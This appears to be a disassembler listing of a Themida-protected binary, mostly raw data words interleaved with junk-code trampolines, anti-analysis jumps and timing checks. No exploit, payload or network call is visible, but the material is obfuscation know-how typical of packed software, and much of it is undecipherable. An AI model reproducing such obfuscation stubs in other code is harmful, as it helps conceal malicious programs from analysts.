16042444h, 45000000h dd 0BEDFC355h, 12E906h, 0EF60000h, 2B6D59FBh, 19BBFD81h dd 0E3AC4D54h, 1327BE0Eh, 7DBD015Bh, 81062822h, 0DAB2C3DEh dd 8BC32B00h, 282AD9B5h, 6840F06h, 31000000h, 28186D85h dd 8343D06h, 860F0000h, 34h, 8DB52353h, 5F062800h, 4FE9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 5A33EB9Ah, 7EDB90B0h, 0FA8B66F3h, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 966262C3h, 0BD0B1B22h, 6282BF5h ; --------------------------------------------------------------------------- loc_5898AC: ; CODE XREF: Themida_:loc_589479j mov eax, ebx mov ebx, eax push 0 push edx call sub_5898BB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5898BB proc near ; CODE XREF: Themida_:005898B3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5898BB endp ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- mov si, ax mov edi, [ebp+6282659h] mov dword ptr [ebp+6282C29h], 1EE7D39Fh push 0 push edx call sub_5898EA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5898EA proc near ; CODE XREF: Themida_:005898E2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5898EA endp ; --------------------------------------------------------------------------- xor dh, dh mov ebx, 9BCEB098h and al, 85h pusha xor [ebp+6281749h], eax jnp loc_589912 push ebx pop ebx loc_589912: ; CODE XREF: Themida_:0058990Aj popa jge loc_58991D mov si, 0A3CEh loc_58991D: ; CODE XREF: Themida_:00589913j mov eax, eax push 0 push eax call sub_58992A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58992A proc near ; CODE XREF: Themida_:00589922p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_58992A endp ; --------------------------------------------------------------------------- sbb ah, bl leave xor esi, [eax] and [ebx+2802BDB5h], ecx push es cmp dword ptr [ebp+6280DC1h], 7D0h jnz loc_589968 mov edi, ebx inc dword ptr [ebp+6280DC1h] mov edi, 0EC82F61h mov esi, 485DFAB7h loc_589968: ; CODE XREF: Themida_:00589950j push dword ptr [ebp+6280DC1h] push 0 push ebp call sub_589979 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589979 proc near ; CODE XREF: Themida_:00589971p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_589979 endp ; --------------------------------------------------------------------------- align 2 dw 70A0h ; --------------------------------------------------------------------------- lahf movzx esi, bx mov esi, [ebp+6281E3Dh] call dword ptr [ebp+6280465h] sub [ebp+62814C9h], edx nop mov si, bx xor esi, [ebp+6281E89h] push 0 push ebp call sub_5899B7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5899B7 proc near ; CODE XREF: Themida_:005899AFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5899B7 endp ; --------------------------------------------------------------------------- db 0CFh ; --------------------------------------------------------------------------- test al, 0D7h dec ecx sbb ecx, ebx jmp loc_5899E5 ; --------------------------------------------------------------------------- std dec edi fistp dword ptr [edi+12060AA8h] icebp mov ecx, 0BBCCC0F0h db 2Eh mov cl, 94h pop esp loc_5899E5: ; CODE XREF: Themida_:005899CEj xor [ebp+6283359h], edi mov edi, [ebp+6282D39h] jle loc_5899F9 mov esi, ecx loc_5899F9: ; CODE XREF: Themida_:005899F1j push 0 push esi call sub_589A04 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589A04 proc near ; CODE XREF: Themida_:005899FCp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_589A04 endp ; --------------------------------------------------------------------------- dd 6447F591h, 8D298109h, 62812B9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0D7C35040h, 743C5372h, 81FC5B75h dd 0B119E2E7h, 57006A36h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0A39BEB62h, 0DFB23A56h dd 8B661A9Eh, 950951F2h, 6281481h, 12E9h, 181CEB00h, 0AEF3A229h dd 354CAC48h, 583351DAh, 5F3060A1h, 344DBD89h, 6A0628h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 6C935BC3h, 10E9h, 93E6B200h, 77A5CF49h, 51E58183h, 0FBAF7AA4h dd 0F781E908h, 0B060FFFFh, 71B52BAEh, 61062822h, 6AC18Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 60E516C3h, 82B194D4h, 0FD8D89B7h, 0EB062821h, 4, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 6D7A721Ch, 88D0BBBEh, 499D897Dh, 8906280Ch, 2817F19Dh dd 0F98B6606h, 2C05858Dh, 85290628h, 6281E75h, 5800Fh dd 81660000h, 50F3F6CEh, 6A240489h, 45BD8900h, 6A062823h dd 69B58900h, 8D062802h, 2C091085h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 5AAE556Dh dd 0B58BC7ADh, 6281A4Dh, 6A05C083h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 457DC355h dd 8B503447h, 240489F3h, 285B58Bh, 6A0628h, 43DBD2Bh, 6A0628h dd 2665B58Bh, 95FF0628h, 6282431h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 57C35141h, 0D858942h, 0B06281Ah dd 282499B5h, 0F39D8D06h, 6A062B94h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0AE97C356h dd 0FFD61584h, 0B1BD03D3h, 0FF062820h, 28165985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 2B4D6D13h, 81DE921h, 0E80000h, 5D000000h, 91AED81h dd 0BF66062Ch, 0BD81F393h, 6280DC1h, 7D0h, 13E860Fh, 0BF0F0000h dd 0F99D8BF3h, 81062819h, 9CFECBE6h, 0E38158h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0CF4DC351h, 81663BD9h, 0BF8C3D7h, 89850FDBh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E9F1C355h, 0C0BD83A3h, 62C07h dd 23840Fh, 0B5330000h, 628342Dh, 7DE9h, 13E900h, 91550000h dd 10915EDDh, 31B01C3h, 60590414h, 7D683938h, 0C085C78Ah dd 1062C07h, 0E9000000h, 0Ah, 0F7AA0652h, 9E39266Fh, 47E9168Ch dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0B972C351h, 7C085C7h, 62Ch, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 6F61A8C3h, 9D8D81E0h, 62819F9h, 6850Fh, 0B58B0000h dd 6281E59h, 0FEFF2381h, 6AFFFFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 797BA4C3h, 800FF572h dd 6, 3321BD2Bh, 0BD8B0628h, 6282325h, 0F6DB8C66h, 840F04C3h dd 2Ah, 3FD95FFh, 0BD8B0628h, 62803D5h, 13E95150h, 0D2000000h dd 1E6734CFh, 0F95D655Ch, 7FE724ADh, 0CAD34110h, 895F4605h dd 5CE92404h, 0B0000004h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 6E6EC678h dd 676FBE06h, 6070E6D3h, 9B513EB9h, 61FB8B24h, 9E9h, 0AEA3B300h dd 0F3B14738h, 71E49767h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 4DC35646h, 52BCF085h, 17FEB9C7h, 0D8B60FF9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0CC35040h dd 0DF816629h, 6BA9106h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 32BC356h dd 5D59D09h, 0C38B0628h, 6C1B58Bh, 0E8C10628h, 8E904h dd 0B150000h, 9933C0DDh, 0F766D40Eh, 0FE8B66E2h, 6AD82Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0E42269C3h, 7E44BF66h, 10218D89h, 0BD8B0628h, 62831D5h dd 12E893h, 0B7620000h, 4DB230CEh, 0D362A14Ah, 0B3FAB37Dh dd 0F8E43609h, 0BF665250h, 310F96AAh, 52B0BF66h, 505F585Ah dd 0E993F78Bh, 0Ch, 0BE0DC183h, 0C2FDBE24h, 6B005FF2h dd 0DC1B5FFh, 6A0628h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 400760C3h, 14458589h, 95FF0628h dd 6280465h, 1596F1BEh, 6A00B003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 275C352h dd 79E74E05h, 95891DC6h, 6282145h, 0A840Fh, 8B600000h dd 282BCD9Dh, 615A5006h, 6A70E6h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 4F25F9C3h, 0B9BD8993h dd 0E4062812h, 50006A71h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 71D07543h, 52EA32BDh dd 0BF660035h, 613CD11Fh, 255830Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0BF9B97C3h dd 56ED9B5Dh, 0E96AC49Ch, 0Bh, 0FEB16ABh, 0E8F856E1h, 8B263C05h dd 2816E5BDh, 0D8B60F06h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 2DC35040h, 15F935E5h, 0DF81AFE9h, 325CA37Dh dd 81665153h, 5F51F3D6h, 6BA5Eh, 800F0000h, 17h, 12E9h dd 4C65E500h, 7D12DA9Ch, 0BC9E29BCh, 0C08D18C0h, 8BB61883h dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0F59D6146h, 4E8C1DBh, 850Fh, 0F7660000h dd 99BD23E2h, 2B06280Eh, 95C781D8h, 511D3B6Fh, 6A585Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0BCD1EBC3h, 0D82B9D3Dh, 15D880Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0D3D977C3h dd 0B58BF882h, 6280251h, 7B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 50A84574h dd 0B8EA601Bh, 0C18335h, 59531h, 0D93B0628h, 0FD860Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0A13F6DC3h, 64A6E2BDh, 0E9D5467Eh, 8, 9F9D737Dh dd 24C1087Ah, 66FB8B66h, 0DF81D98Ch, 655DCC2Bh, 0F04C1F6h dd 9684h, 0FD95FF00h, 89062803h, 281E6DB5h, 6A5B06h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 6864C8C3h, 2B0230FEh, 12E9C3h, 95BA0000h, 588FD57Dh dd 8BA6D3BDh, 70987BA5h, 4C3ED2A7h, 8343Dh, 44860F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0D7B5C352h, 40E9822Ch, 0F000000h dd 168Fh dd 10E800h, 74190000h, 951B0370h, 1CC77FF4h, 94700F14h dd 665F9DCDh, 8BEC3DBEh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B003319h, 0E9D88BC3h dd 0Fh, 4C979402h, 0D4AC136h, 479D2B39h, 0C7D9941Ch, 28200D85h dd 1B79DF06h, 0A9B58B72h, 8B062803h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66598472h dd 0E872E781h, 9BB7D781h, 0BD811984h, 6280DC1h, 7D0h, 32850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 81357DC3h, 66F96DA7h, 2043CE81h, 0DC185FFh dd 8A0F0628h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+6280DC1h] mov esi, [ebp+6280BCDh] call dword ptr [ebp+6280465h] push 0 push edi call sub_58A301 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A301 proc near ; CODE XREF: Themida_:0058A2F9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_58A301 endp ; --------------------------------------------------------------------------- db 0C4h, 90h, 6Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 7C71C353h, 8B6644F5h, 0B5BD8BF8h, 89062829h dd 2829A1B5h, 0B8B0F06h, 66000000h, 3C02CF81h, 5199D89h dd 60600628h, 0F998529h, 8D8B0628h, 6281E7Dh, 0DA95B961h dd 0BF0F0782h, 0BF0F53C1h, 0EB8166F8h, 615EC439h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 77C35141h, 8B6ADC23h dd 280BCDBDh, 0D1958906h, 8B062829h, 282185BDh, 85895606h dd 6280D81h, 2045B589h, 0E95E0628h, 8, 0AA32F49h, 0E8A7160Fh dd 13E9h, 0B6C61000h, 0F5AF94DAh, 0EC68F275h, 4D63CF57h dd 0DC9C0ED1h, 5058D89h, 6A0628h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 3E9766C3h, 20BF883Fh dd 90B434BFh, 53006A74h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0A750C4D2h, 8F0FB2F2h, 13h, 359D3360h dd 0BF06280Fh, 559DA46Eh, 30EF8161h, 894D03B6h, 281125BDh dd 0F810E906h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 6503DC3h, 23F621B8h, 281D7DBDh dd 71958906h, 60062806h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0B1C35747h, 0FFFFFEB9h, 68B0FFFh, 9000000h dd 281735BDh, 0F98D2106h, 6A062819h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0CF9AC350h dd 60F54CECh, 2169BD89h, 81510628h, 5E8D5EFh, 21615964h dd 282BB58Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B0F8739h, 0 ; --------------------------------------------------------------------------- or [ebp+6280FE5h], edi mov ecx, [ebp+62819F9h] mov dx, 8F1Bh and ecx, 1 jnz loc_58A542 push 0 push ecx call sub_58A528 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A528 proc near ; CODE XREF: Themida_:0058A520p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_58A528 endp ; --------------------------------------------------------------------------- dd 4834CF2h, 830Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A542: ; CODE XREF: Themida_:0058A517j mov ecx, [ebp+6282BB5h] push 0 push ebx call sub_58A553 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A553 proc near ; CODE XREF: Themida_:0058A54Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_58A553 endp ; --------------------------------------------------------------------------- mov [ecx], dl push 1411BC05h and cl, [ebx+2812ADBDh] push es and ecx, 1 jnz loc_58A584 mov [ebp+62822D9h], esi mov dx, 6D8Bh loc_58A584: ; CODE XREF: Themida_:0058A574j popa pusha mov ebx, 684299AFh cld mov ecx, 0FFFFFFFEh jmp loc_58A59B ; --------------------------------------------------------------------------- dw 0A082h ; --------------------------------------------------------------------------- jb short loc_58A5D0 lahf loc_58A59B: ; CODE XREF: Themida_:0058A591j and [ebp+62825B5h], ecx push 0 push edi call sub_58A5AC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A5AC proc near ; CODE XREF: Themida_:0058A5A4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_58A5AC endp ; --------------------------------------------------------------------------- dd 28879AE0h, 918D2130h, 6A06282Dh, 3E85300h, 20000000h ; --------------------------------------------------------------------------- loc_58A5D0: ; CODE XREF: Themida_:0058A598j pop ebx retn ; --------------------------------------------------------------------------- pop ebx mov [esp+4], ebx add dword ptr [esp+4], 16h inc ebx push ebx retn ; --------------------------------------------------------------------------- dw 4FE7h ; --------------------------------------------------------------------------- lds ecx, [edi] mov edi, 0B58D8BC7h and eax, 6A0628h push ebx call sub_58A5F9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A5F9 proc near ; CODE XREF: Themida_:0058A5F1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_58A5F9 endp ; --------------------------------------------------------------------------- db 6Bh, 0A7h, 27h dd 5E1D0372h, 6FC28166h, 1E18387h, 2F850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0EE931DC3h, 0D87105C7h, 19BBE7AEh, 892ADBCDh, 283339BDh dd 918D8B06h, 6A06282Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0BB95C357h, 703EAE31h dd 8B438DEDh, 280959B5h, 1E18306h, 0C850Fh, 95290000h dd 62803CDh, 334DBD23h, 60610628h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 22C35545h, 31D37626h, 0FFFEB9D6h dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 27A4DCC3h, 0C2318729h, 23EC879Eh, 280CD185h dd 398D2106h, 6A06282Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 18C3C351h, 8B53D3F6h dd 2822C9B5h, 8D215806h, 6283331h, 23FDBD2Bh, 85890628h dd 6280251h, 2B398D8Bh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BD3336C3h, 6282DA1h dd 0F01E183h, 2185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 5FFAC78Dh, 8D8B4498h dd 6283331h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0CC35040h, 0E7C6F35Ah, 0CE8EC61h, 93000000h, 8E0E008h dd 0CF058D27h, 0BFDCADA1h, 23AFE773h, 1E1835Bh, 24850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 3ECFFCC3h, 0C74B40A7h, 6061B4D8h, 1870Fh dd 0B9F90000h, 0FFFFFFFEh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 1C35242h, 0C8B06D72h, 2C298D21h, 0FD8A0628h dd 21C1BF0Fh, 28200D8Dh, 0DE806h, 0F230000h, 37AD0A09h dd 68908792h, 0BB3AFF9Ah, 746B49FDh, 298D8B5Fh, 106282Ch dd 282EE5B5h, 1E18306h, 1850Fh, 8BF90000h, 28200D8Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 63270E6Ah, 3BAF3A65h, 83F98B66h, 850F01E1h, 22h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 21C35747h, 2D8D858Bh dd 60610628h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 71C35646h, 0BB154343h, 85C79FB1h, 6280DC1h, 7D0h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2EC35646h dd 0B0FD345Dh, 0CB8B66BDh, 50006A61h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 498D8B28h dd 0F8062824h, 9D6107EBh, 0E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0DDD4E703h dd 0FE923h, 4C290000h, 0FC6EC4E0h, 0B3C77C1Bh, 0EE2793C4h dd 50006AB3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 105757C4h, 4315BBA9h, 0ED59D8Bh, 0C18B0628h dd 75E9h, 8C666000h, 0F04A8D8h, 3584h, 0FF016A00h, 282DD5B5h dd 58858D06h, 0FF062B6Fh, 0DD8589D0h, 8B062823h, 0CEFC1FEh dd 4000068h, 6A006A20h, 0D685702h, 0FF000100h, 2823DD95h dd 32E906h, 85C60000h, 6280D25h, 30DF6856h, 0B5FFA9C5h dd 628140Dh, 6F58858Dh, 0D0FF062Bh, 219D8589h, 858D0628h dd 62819ADh, 6A206A50h, 95FF5605h, 628219Dh, 0E0C1C361h dd 8F4FEB06h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h dd 0DB6734DFh, 0A09100A6h, 0EA1A0047h, 0D5A3h, 199C0000h dd 0FECAh, 0FBFE4Ah, 0B4870000h, 202352DDh, 339C9ED9h dd 58E977E7h, 29000013h, 2805CDBDh, 15BD8306h, 62824h dd 67850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0FCA891C3h, 161BD8Bh, 0BF0F0628h dd 0B8CFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 415608C3h, 0CF4535D9h, 60E796E1h dd 15F68166h, 0FA8B6698h, 0D68B6661h, 890004C2h, 2825A5BDh dd 0FC08B06h, 287h, 83D6B100h, 280149BDh, 9750006h, 14C5BD83h dd 74000628h, 8B535013h, 4D0B8C0h, 9D8D0000h, 62AA332h dd 585BD3FFh, 14C5BD83h, 74000628h, 0B8535011h, 4D0h, 0A27F9D8Dh dd 0D3FF062Ah, 958B585Bh, 6281119h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0DBC35242h, 0A8461B3Eh, 0A698615Bh dd 21398D8Bh, 0C08B0628h, 1701858Dh, 6A062Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 7EB6C2C3h dd 6EFE5EA0h, 41BD31D6h, 6606281Dh, 0DA8AD281h, 28B0F90h dd 8A000000h, 11E950D4h, 56000000h, 0E9A4BE8Dh, 7049AAB8h dd 24F6438Eh, 0DACCB176h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4EA61C19h dd 8DE8B002h, 8B51DE90h, 2833BD8Dh, 81665A06h, 8DF603DAh dd 2C16BE85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 726FE39Bh, 0AE990DBh, 55000000h dd 78EC9BD6h, 0E821B27Ch, 0E8565004h, 0Ch, 3A247A13h, 5083B848h dd 0C5B4F4ACh, 0AE8h, 5AA92100h, 4BC8BA6Eh, 5949594Fh dd 489595Fh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 857E155Ch, 0FFAA6A23h, 281F9595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0A2C70555h, 24448B31h, 0FA8B6604h, 128D958Bh dd 85890628h, 62C16E9h, 1A01BD8Bh, 448B0628h, 6A0824h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0F5B288C3h, 9E9CB1Ah, 0BB000000h, 0C3A37636h, 76B6CA6Ah dd 16FD8589h, 0BA66062Ch, 0BD839D3Dh, 62834D1h, 0EE850F00h dd 0E9000000h, 5, 3C77D8E0h, 6870F38h, 8B000000h, 280E5D8Dh dd 2585C606h, 4706280Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 83C35141h, 0B5E5ADA0h, 66F5EBCBh, 8589D38Bh dd 6280D61h, 0D506F068h, 0FE9B2h, 9CBB0000h, 5C5CE7FBh dd 6C22E1A3h, 8844EC07h, 2434810Ah, 664FA122h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3FC35242h, 7EE086AAh dd 140DB5FFh, 0F600628h, 0C83h, 7E900h, 3AFE0000h, 0FD2E4F8Ah dd 0B59589F2h, 6106281Fh, 2EE78157h, 5A3075BDh, 6F58858Dh dd 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0AB4ACFC3h, 149FF7DAh, 8B66D600h, 0A5BD8BC8h dd 0FF062806h, 0D18589D0h, 8B062834h, 21BD83CFh, 6282Ch dd 108850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0A2AF6BC3h, 0D1A6C9C9h, 85C65711h dd 6280D25h, 57006A47h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0CB608250h dd 0BB424A74h, 13E9h, 0FCEC5F00h, 0DC5D8691h, 2A1A4A9Ch dd 0A4E3E44h, 55B045CCh, 4E8h, 0FB5E200h, 50D78B8Ah, 448BFB8Bh dd 0F98B0424h, 870F008Bh, 0Ah, 5A525250h, 6160310Fh, 4489585Ah dd 8B580424h, 2812698Dh, 0DB5FF06h, 66062814h, 9403D781h dd 6F58858Dh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 7199CCC3h, 9589E404h, 62812ADh dd 0B589D0FFh, 62821F9h, 2C218589h, 6A0628h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0C819B7C3h dd 0C8E0A0E0h, 5175DA91h, 1E643CBFh, 0BD835A2Fh, 6280E01h dd 19850F00h, 89000001h, 28171D85h, 2585C606h, 5606280Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 5FC35343h dd 0FBBCE79Bh, 9D788C7h, 860F5022h, 3, 596CE580h, 0F7662368h dd 240481C8h, 0B280716h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 77C35747h, 0CB0834C2h, 4291805Ch, 48F0Fh dd 0BA660000h, 0B5FFF890h, 628140Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 4AC35040h, 2B111D3Ch, 53D78166h dd 58858DB8h, 6A062B6Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 945AC351h, 698A042Fh dd 0D2A33744h, 7E8h, 5E22AB00h, 3E40FC8h, 0FE9h, 8646800h dd 171CB81Bh, 52E3D057h, 4B18DED4h, 0E9D0FF5Ah, 0Bh, 0A2CB06F5h dd 6D4E6BCDh, 89B9C29Ah, 280E0185h, 5E806h, 3BA90000h dd 0F2D6FE4h, 284h, 595F5000h, 0D2585C6h, 296C0628h, 280C29BDh dd 7CBB6806h, 0F60BF90h, 48Bh, 0A4B86600h, 0CBBB66D7h dd 48161DFh, 74F3C824h, 51006A1Bh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8BEE9859h, 28102D95h dd 0D38B6606h, 2DD5B5FFh, 9D890628h, 6280E79h, 292D958Bh dd 858D0628h, 6283BBBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0B8C35141h, 2F600648h, 0D3FBB850h, 6357BA24h dd 8F0F0EC4h, 6, 18558589h, 0D0FF0628h, 2C15BD8Bh, 85890628h dd 62C16EDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 2CC35242h, 0AA4606BFh, 659D8904h, 83062821h, 2C1709BDh dd 850F0006h, 128h, 6820Fh, 0C1810000h, 32E6162Eh, 0D2585C6h dd 6A490628h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 8A15C357h, 19D1BE30h, 0E8FCFA12h dd 4, 8C1529E9h, 50FE8B66h, 448BCA8Bh, 2BA0424h, 8B0BB7F8h dd 8B525000h, 0E8310FD3h, 0Eh, 0B3858E5Ah, 2884E302h, 0EC796D27h dd 8D0F5D56h, 0 ; --------------------------------------------------------------------------- pop ecx pop edx pop eax mov [esp+4], eax jnb $+6 pop eax mov edi, 912E67Ch mov [ebp+6282D01h], eax push dword ptr [ebp+6282DD5h] push 0 push ebx call sub_58B17E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B17E proc near ; CODE XREF: Themida_:0058B176p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_58B17E endp ; 